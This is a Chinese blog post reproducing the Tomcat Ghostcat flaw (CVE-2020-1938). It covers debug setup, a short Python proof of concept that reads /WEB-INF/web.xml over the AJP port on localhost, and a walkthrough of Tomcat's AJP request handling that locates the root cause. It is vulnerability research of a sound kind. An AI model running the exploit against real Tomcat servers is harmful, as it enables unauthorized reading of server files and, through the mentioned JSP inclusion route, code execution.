logo头像

黑客的本质就是白嫖

Tomcat幽灵猫—CVE-2020-1938漏洞复现

前言

半年没有写博客了,现在正式工作之后感受到了自己与别人巨大的差距,所以开始慢慢学习,不求超过别人,能不被拉开距离就是极好的了。

选择这个漏洞作为开始有几个原因,第一是这周公司的项目就是jsp,所以学学这个漏洞看看能不能用得上,第二就是看了下阿图博客,最近的一篇漏洞研究就是这个,那就跟着阿图学吧。

正文

环境搭建

按照阿图文章)所说的,下载了8.0.47版本的Tomcat源码,解压,在源码文件根目录下创建一个catalina-home目录,将apache-tomcat-8.0.47目录下的webappsconf目录复制到home目录下,并在catalina-home目录创建logslibtempwork文件夹,之后在源码根目录下新建pom.xml文件,将以下内容复制到文件中(方便后续maven安装依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat8.0</artifactId>
<name>Tomcat8.0</name>
<version>8.0</version>

<build>
<finalName>Tomcat8.0</finalName>
<sourceDirectory>java</sourceDirectory>
<testSourceDirectory>test</testSourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<testResources>
<testResource>
<directory>test</directory>
</testResource>
</testResources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.4</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.5.1</version>
</dependency>

</dependencies>
</project>

之后用IDEA导入源码文件夹,等待依赖下载

下载完成之后,编辑启动配置

ghostcat_1

如上图所示,添加是选择Application选项,Main class栏填org.apache.catalina.startup.BootstrapVM options栏填如下字段

-Dcatalina.home=catalina-home -Dcatalina.base=catalina-home -Djava.endorsed.dirs=catalina-home/endorsed -Djava.io.tmpdir=catalina-home/temp -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.util.logging.config.file=catalina-home/conf/logging.properties

Working directory目录下填源码目录,启动

发现报错

ghostcat_2

TestCookieFilter文件中的内容都注释掉就好了,运行的时候发现页面报错500,无法正常访问,这时候要在org.apache.catalina.startup.ContextConfig中手动将JSP解释器初始化,再点击运行

ghostcat_3

POC测试

此处poc摘自passingfoam博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sys

from lib.ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from lib.tomcat import Tomcat

gc = Tomcat('127.0.0.1', 8009)

file_path = "/WEB-INF/web.xml"

attributes = [
{"name": "req_attribute", "value": ("javax.servlet.include.request_uri", "/",)},
{"name": "req_attribute", "value": ("javax.servlet.include.path_info", file_path,)},
{"name": "req_attribute", "value": ("javax.servlet.include.servlet_path", "/",)},
]
hdrs, data = gc.perform_request("/", attributes=attributes)
output = sys.stdout

for d in data:
try:
output.write(d.data.decode('utf8'))
except UnicodeDecodeError:
output.write(repr(d.data))

其中tomcat库与ajpy来自github上的开源项目AJPy,直接运行就好了

ghostcat_4

ghostcat_5

可以看到读取到了/WEB-INF/web.xml文件

前置知识补充

要知道一个漏洞是如何产生的,我的做法是先了解出现漏洞的架构的运行流程,如果只是单拿漏洞源码出来,大部分大佬应该都知道如何利用,不过当这个漏洞存在于某个大型项目之中,比如像这次的Tomcat,像我这样水平有限的人就很可能会有点没头没脑,不知道这个漏洞到底是出现在哪里,到底该怎么利用,以及有什么变种的利用方式。

Tomcat系统架构

这里就不自己画图了,直接用大佬的一张图

ghostcat_6

上图可以看到,Tomcat是一层一层的,最外层的是Server,代表整个服务器,或者说整个web容器;再往里面是Service,每个Server都至少包含一个ServiceService用于提供不同的服务连接,例如HTTPHTTPSAJP等等,而提供何种协议,则与Connector的配置有关,Service再里面则是ConnectorContainerConnector是使用底层socket进行连接交互的,连接到了这里,会被封装成不同的请求或响应(HTTP或其他协议),发往ContainerContainer则负责处理请求,这一步才到我们自己编写的代码中。官方点的说法,Container是用于封装和管理Servlet

上面这一大段字我们差不多可以知道一个请求在经过Tomcat的时候是怎样处理的了,如下图

1
2
3
4
5
graph LR
Z(请求) -->
A(Service)-->B(Connector)
B -->|将socket连接封装成不同协议请求| C(Container)
C -->|处理请求| E(响应)

这样我们会出现问题的地方应该在ConnectorContainer还有Servlet中,Servlet里面的算是用户代码了

POC调试&&漏洞分析

现在再来看出现漏洞的位置,首先是org.apache.coyote.ajp.AjpProcessor,出现问题的是这个类继承的抽象类AbstractAjpProcessor,里面有一个方法是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public SocketState process(SocketWrapper<S> socket) throws IOException {

...//对socket连接的各种合法性判断以及设置

if (!getErrorState().isError()) {
// Setting up filters, and parse some request headers
rp.setStage(org.apache.coyote.Constants.STAGE_PREPARE);
try {
prepareRequest();//连接内容处理函数
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLog().debug(sm.getString("ajpprocessor.request.prepare"), t);
// 500 - Internal Server Error
response.setStatus(500);
setErrorState(ErrorState.CLOSE_CLEAN, t);
getAdapter().log(request, response, 0);
}
}
...
}

我们在prepareRequest()处步入,这里是开始处理AJP协议包的起点

ghostcat_7

这里有可能有人有疑问,我们明明使用的是AJP协议进行请求,为什么这里获取的协议是HTTP1.1呢?关于这个,参考文章CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议任意文件读取/JSP文件包含漏洞分析说的比较详细,AJP协议报文与HTTP在结构上非常类似,甚至在这位大佬用wareshark抓的包里面,报文的Version字段直接被指定为了HTTP1.1method也被指定为GET方法

在这之后,方法解析了请求的headers以及额外参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
protected void prepareRequest() {

// Translate the HTTP method code to a String.
...
// Decode headers
...
// Decode extra attributes
boolean secret = false;
byte attributeCode;
while ((attributeCode = requestHeaderMessage.getByte())
!= Constants.SC_A_ARE_DONE) {

switch (attributeCode) {

case Constants.SC_A_REQ_ATTRIBUTE :
requestHeaderMessage.getBytes(tmpMB);
String n = tmpMB.toString();
requestHeaderMessage.getBytes(tmpMB);
String v = tmpMB.toString();
/*
* AJP13 misses to forward the local IP address and the
* remote port. Allow the AJP connector to add this info via
* private request attributes.
* We will accept the forwarded data and remove it from the
* public list of request attributes.
*/
if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
request.localAddr().setString(v);
} else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
try {
request.setRemotePort(Integer.parseInt(v));
} catch (NumberFormatException nfe) {
// Ignore invalid value
}
} else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
} else {
request.setAttribute(n, v );
}
break;
...
}

问题出在这里的解析额外参数处,在switch语句的第一个分支,对变量n的判断处,当n不等于预设的任何一个值时,会将n作为一个参数,并设置为v的值,这样相当于我们能够添加一个自己的参数并赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//   org.apache.coyote.ajp.Constants
// Integer codes for common (optional) request attribute names
public static final byte SC_A_CONTEXT = 1; // XXX Unused
public static final byte SC_A_SERVLET_PATH = 2; // XXX Unused
public static final byte SC_A_REMOTE_USER = 3;
public static final byte SC_A_AUTH_TYPE = 4;
public static final byte SC_A_QUERY_STRING = 5;
public static final byte SC_A_JVM_ROUTE = 6;
public static final byte SC_A_SSL_CERT = 7;
public static final byte SC_A_SSL_CIPHER = 8;
public static final byte SC_A_SSL_SESSION = 9;
public static final byte SC_A_SSL_KEY_SIZE = 11;
public static final byte SC_A_SECRET = 12;
public static final byte SC_A_STORED_METHOD = 13;
// Used for attributes which are not in the list above
public static final byte SC_AREQ_ATTRIBUTE = 10;

/**
* AJP private request attributes
*/
public static final String SC_A_REQ_LOCAL_ADDR = "AJP_LOCAL_ADDR";
public static final String SC_A_REQ_REMOTE_PORT = "AJP_REMOTE_PORT";
public static final String SC_A_SSL_PROTOCOL = "AJP_SSL_PROTOCOL";

ghostcat_8

根据上面的代码以及插图,我们可以知道,SC_A_REQ_ATTRIBUTE是用于判断不在预设的属性列表中的属性的,而下面的三个属性,则是额外的几种属性,此时我们传入的既不在预设的几个属性当中,又不在额外的这几个属性当中,程序对于这种情况,是选择直接将其设置成一个属性,这也就导致了漏洞。

知识补充

这里又需要补充一点上面没说到的知识了,之前我们说到,Connector组件会对连接做一个处理,将其封装成不同的协议再转发给Container,这个处理的具体细节是这样的
先经过Endpoint组件,该组件是用来处理底层的网络连接的,之后是Processor组件,该组件用于将处理后的Socket请求封装为Request请求,再之后是Adapter组件,该组件用于将转换后的Request请求提交给Container进行具体的解析,上面的这部分处理我们可以根据文件名知道他属于Processor组件,在这里处理之后,我们要看的就是Adapter组件

Adapter组件中,核心的函数是service(),我们直接跟进

1
2
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);

一进来的这两行代码是对请求做一个转换,将请求转换为能被Servlet调用的请求;继续往下跟,到这个位置

ghostcat_9

这里将请求传入了Container,我们步入invoke方法内

ghostcat_10

发现在方法最后选取了host,在跟进invoke,又陆续选取了contextwrapper,这里的wrapper其实就是Servlet,对应的就是我们编写的某一个代码文件

ghostcat_11

ghostcat_12

在步入最后一个invoke方法后,里面有对Servlet的初始化,再下面,则会调用filterChaindoFilter方法,该方法的最后,会调用一个internalDoFilter方法,这个方法是用于获取过滤器,里面有对servletservice方法的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public final void invoke(Request request, Response response)
throws IOException, ServletException {
...
// Allocate a servlet instance to process this request
try {
if (!unavailable) {
servlet = wrapper.allocate();
}
...
// Create the filter chain for this request
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
try {
if ((servlet != null) && (filterChain != null)) {
// Swallow output if needed
if (context.getSwallowOutput()) {...}
else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else if (comet) {
filterChain.doFilterEvent(request.getEvent());
} else {
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}
...

14

service方法中,会先对请求的类型进行判断,前面说到AJP协议结构和HTTP1.1相似,并且在抓包中是直接被当做HTTPGET请求,所以这里会调用doGet方法,在doGet方法中,会直接调用serveResource方法,里面包含了这个漏洞的危害点——getRelativePath方法。

16

15

1
2
3
4
5
6
7
8
9
10
11
protected void serveResource(HttpServletRequest request,
HttpServletResponse response,
boolean content,
String encoding)
throws IOException, ServletException {

boolean serveContent = content;

// Identify the requested resource path
String path = getRelativePath(request, true);
...

getRelativePath方法用于拼接uri,会将我们poc中传入的javax.servlet.include.path_infojavax.servlet.include.servlet_path拼接为一个相对路径,并且在之后的代码中将其读取,写入response中,到这里任意文件读取就差不多结束了

该漏洞还有一个利用方式,就是通过一个文件上传漏洞,先上传一个jsp文件,再通过这个方法将其包含进来,因为文件名不同,所以调用的Servlet也不同,但是整体流程基本一致,而且存在可以上传的地方再使用这个方法来包含着实有些鸡肋的

总结

这里再总结一下Tomcat的运行流程吧

首先请求到达ServerServer将请求传给ServiceService会提供不同服务的连接,具体服务如何要看Connector的配置

请求到了Service后,会被发往Connector做处理,Connector收到的请求是socket连接,所以会在组件内将其封装为不同协议的连接再将其转发至ContainerConnector封装请求的流程是这样的,先经过Endpoint组件,该组件是用来处理底层的网络连接的,之后是Processor组件,该组件用于将处理后的Socket请求封装为Request请求,再之后是Adapter组件,该组件用于将转换后的Request请求提交给Container进行具体的解析

Container则负责对请求的处理,里面包含了Engine , Host , Context , Wrapper 四个组件,这四个容器是一个自上而下的包含关系

1
2
3
4
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

这个漏洞花费了我一周多的时间去调试学习,大部分时间在尝试理解Tomcat的运行流程,其他一部分时间在调试漏洞。虽然漏洞是好几个月之前的了,不过总的来说还是学到了很多东西的。

参考资料

IDEA运行Tomcat8源码

四张图带你了解Tomcat系统架构–让面试官颤抖的Tomcat回答系列!

Tomcat幽灵猫详解

CVE-2020-1938 幽灵猫( GhostCat ) Tomcat-Ajp 协议任意文件读取/JSP文件包含漏洞分析

基于Tomcat无文件Webshell研究

评论系统未开启,无法评论!